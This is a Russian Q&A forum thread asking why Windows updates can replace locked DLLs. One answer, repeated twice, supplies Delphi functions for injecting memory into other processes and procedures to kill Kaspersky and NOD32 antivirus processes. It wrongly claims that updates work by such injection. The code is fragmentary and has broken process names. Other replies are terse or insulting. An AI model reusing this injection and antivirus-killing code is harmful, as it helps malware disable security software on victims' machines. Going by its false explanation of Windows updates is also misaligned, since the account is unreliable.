Другие языки программирования и технологии
почему обновления майкрософта могут заменить заблокированную dll прямо в винде, а юзер нет?
каким образом у обновлений это получается?
В целях зашиты майкрософт чтобы как то вести и следить за происходящими процесами оставила немного лазеек. Одной из такой лазеек является вторжение динамической библиотеки иного процесса в другой процесс, также когда в виндухе имеется внутренния библиотека к которой обращается обновление и получает моментально админовские права в дереве системных служб без перегрузки компьютера, с такими правами можно делать все что угодно!!! !
Вот на примере несколько функций на делфи которые внедряются в другие просессы и выполняют свои функции:
----------------------------------------------------------------------------
{ Внедрение null terminated строки в процесс }
----------------------------------------------------------------------------
function InjectString(Process: dword; Text: PChar): PChar;
var
BytesWritten: dword;
begin
Result := VirtualAllocEx(Process, nil, Length(Text) + 1,
MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result, Text, Length(Text) + 1, BytesWritten);
end;
---------------------------------------------------------------------
{ Внедрение участка памяти в процесс }
---------------------------------------------------------------------
function InjectMemory(Process: dword; Memory: pointer; Size: dword): pointer;
var
BytesWritten: dword;
begin
Result := VirtualAllocEx(Process, nil, Size, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result, Memory, Size, BytesWritten);
end;
Внедря свою ддл в системный процесс получаем прова администратора на баханье системных процессов и дерев процесса, теперь несложно бахнуть и антивирусы, например вот так
----------------------удаляем каспера с процессов ------------------
procedure TForm1.KillKAV;
begin
DebugKillProcess(GetProcessId('kav. exe'));
end;
-----------------нод 32 -----------------------
procedure TForm1.KillNOD32;
begin
// сервис Nod32 - 'Nod32krn.exe' %Prograndir%\Eset\Nod32krn.exe
DebugKillProcess(GetProcessId('Nod3 2krn.exe'));
end;
Одним словом я думаю понятно каким способом обновления получает права админа в системном дере процесса и без перезагрузки творит что хотит.
Вот на примере несколько функций на делфи которые внедряются в другие просессы и выполняют свои функции:
----------------------------------------------------------------------------
{ Внедрение null terminated строки в процесс }
----------------------------------------------------------------------------
function InjectString(Process: dword; Text: PChar): PChar;
var
BytesWritten: dword;
begin
Result := VirtualAllocEx(Process, nil, Length(Text) + 1,
MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result, Text, Length(Text) + 1, BytesWritten);
end;
---------------------------------------------------------------------
{ Внедрение участка памяти в процесс }
---------------------------------------------------------------------
function InjectMemory(Process: dword; Memory: pointer; Size: dword): pointer;
var
BytesWritten: dword;
begin
Result := VirtualAllocEx(Process, nil, Size, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result, Memory, Size, BytesWritten);
end;
Внедря свою ддл в системный процесс получаем прова администратора на баханье системных процессов и дерев процесса, теперь несложно бахнуть и антивирусы, например вот так
----------------------удаляем каспера с процессов ------------------
procedure TForm1.KillKAV;
begin
DebugKillProcess(GetProcessId('kav. exe'));
end;
-----------------нод 32 -----------------------
procedure TForm1.KillNOD32;
begin
// сервис Nod32 - 'Nod32krn.exe' %Prograndir%\Eset\Nod32krn.exe
DebugKillProcess(GetProcessId('Nod3 2krn.exe'));
end;
Одним словом я думаю понятно каким способом обновления получает права админа в системном дере процесса и без перезагрузки творит что хотит.
Потому что обновления, точнее программа управления ими, работает в более низшем кольце (ring) и имеет намного больше прав, т. к. частично связана с ядром ОС. За пояснениями - в гугл.
Они знают куда и как надо лезть, а ты нет
Потому что они крутый, а юзер лох.
стоит защита в виндовс, которая работает только при включенной операционной системы. попробуй заменить файл вне операционной системы. я уверен, что получиться
Похожие вопросы
- Почему в майкрософте сидят столько "Программистов" и не могут нормальный софт делать? а Linux почему то лучше его?
- Почему нейросети могут заменить программистов но не могут другие простые профессии?
- почему девушки не могут быть программистами?
- почему я не могу удалить Microsoft Office 2007 ???выдает ошибку и все!((((?че мне делать??!
- Обои на робочий стол. Скажите почему я не могу поставить обои? Ставлю, а через 5 мин. они удаляются и черный экран...
- Почему я не могу активировать Виндовс 7 своим активатор ? Виндовс
- Почему я не могу записать образ?
- Почему россияне не могут создать свой язык программирования?
- Что сложного в работе программиста? Почему написать код могут не все, если код весь на английском языке??
- Пытаюсь установить винду. ПОсле установки выдаёт либо то что 2 винды(!) ЛИбо ошибку с файлом hall.dll. Что делать?